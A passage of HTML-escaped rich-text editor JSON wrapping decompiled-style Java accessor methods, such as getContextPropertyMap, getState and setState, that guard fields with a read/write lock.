var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hzaR-1682254540199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ppb0-1682254540198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EcKZ-1682254540201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ppl-1682254540200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0NM0-1682254540203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CEaw-1682254540202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._propertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b2uh-1682254540205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LejV-1682254540204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zrYa-1682254540207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;73qz-1682254540206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nQrE-1682254540209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a7LK-1682254540208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uQ4D-1682254540211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gx6M-1682254540210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MVJj-1682254540213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VbbH-1682254540212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FqVa-1682254540215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tWxj-1682254540214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZWMc-1682254540217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;geIE-1682254540216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pKka-1682254540219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nMYw-1682254540218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @NotNull&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TOAN-1682254540221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2s1Y-1682254540220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Set&lt;String&gt; getPropertyBagClassNames() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GFPH-1682254540223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cogv-1682254540222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Set var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CGm2-1682254540226&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I1lJ-1682254540224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N21O-1682254540228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8vdc-1682254540227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wU0W-1682254540230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kkxe-1682254540229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._propBagClassNames;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;We9e-1682254540232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BnYU-1682254540231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aoH3-1682254540234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YgYG-1682254540233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5gGc-1682254540236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mMv4-1682254540235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MRGR-1682254540238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XCgf-1682254540237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xCE3-1682254540240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fFbV-1682254540239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bETx-1682254540242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SKzF-1682254540241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wv7B-1682254540244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OkB8-1682254540243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tUSr-1682254540246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P37A-1682254540245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @Nullable&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5AOF-1682254540248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UccJ-1682254540247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Map&lt;String, Serializable&gt; getContextPropertyMap() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Su4z-1682254540250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9tYc-1682254540249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v6tP-1682254540252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PE7k-1682254540251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0m3H-1682254540254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6BWw-1682254540253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pz9d-1682254540256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uaRO-1682254540255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._contextPropertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ULFp-1682254540258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tv5C-1682254540257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VCnq-1682254540260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;01Ri-1682254540259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kI3Z-1682254540262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4HKb-1682254540261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s764-1682254540264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ytCC-1682254540263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XAck-1682254540266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wgws-1682254540265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XOda-1682254540268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E3ru-1682254540267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;poCu-1682254540270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ImL7-1682254540269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dY0y-1682254540272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T1pc-1682254540271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @NotNull&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aEJ2-1682254540274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CuFX-1682254540273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Map&lt;String, Serializable&gt; getInvocationPropertyMap() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eVua-1682254540276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9Se-1682254540275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K5xU-1682254540278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZyQn-1682254540277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4S4-1682254540280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OsBi-1682254540279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IuVi-1682254540282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G7Sq-1682254540281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._invocationPropertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Pn8-1682254540284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lp2P-1682254540283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7CII-1682254540286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;62bL-1682254540285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CxUA-1682254540288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xBzS-1682254540287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lsEJ-1682254540290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c4cP-1682254540289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wst1-1682254540292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TwTl-1682254540291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U9Y0-1682254540294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwM8-1682254540293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8kRh-1682254540296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nVcw-1682254540295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pnqd-1682254540298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kPG1-1682254540297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public PersistentContext.State getState() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qVtk-1682254540300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S1Oh-1682254540299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u1CG-1682254540302&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fmQQ-1682254540301&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EJhh-1682254540304&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hTSq-1682254540303&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        PersistentContext.State var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S3Ds-1682254540306&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0yFa-1682254540305&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BHUY-1682254540308&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bl4X-1682254540307&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._state;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;685W-1682254540310&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lZKS-1682254540309&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EnzR-1682254540312&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dk0F-1682254540311&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;frp8-1682254540314&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIKp-1682254540313&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ntMP-1682254540316&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pt0W-1682254540315&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;43pR-1682254540318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ibk-1682254540317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gQoE-1682254540320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LQJN-1682254540319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gbk3-1682254540322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yh2u-1682254540321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GRcz-1682254540324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C9qs-1682254540323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void setState(PersistentContext.State var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qIdm-1682254540326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lzWO-1682254540325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock.writeLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EzHM-1682254540328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E2df-1682254540327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WVHt-1682254540330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q2UA-1682254540329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EHmv-1682254540332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I3dd-1682254540331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._state = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;01L6-1682254540335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZP3J-1682254540334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NbEb-1682254540337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8bph-1682254540336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.writeLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k4KP-1682254540339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bR2h-1682254540338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;40oE-1682254540341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WgE7-1682254540340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eXWo-1682254540343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;60S3-1682254540342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    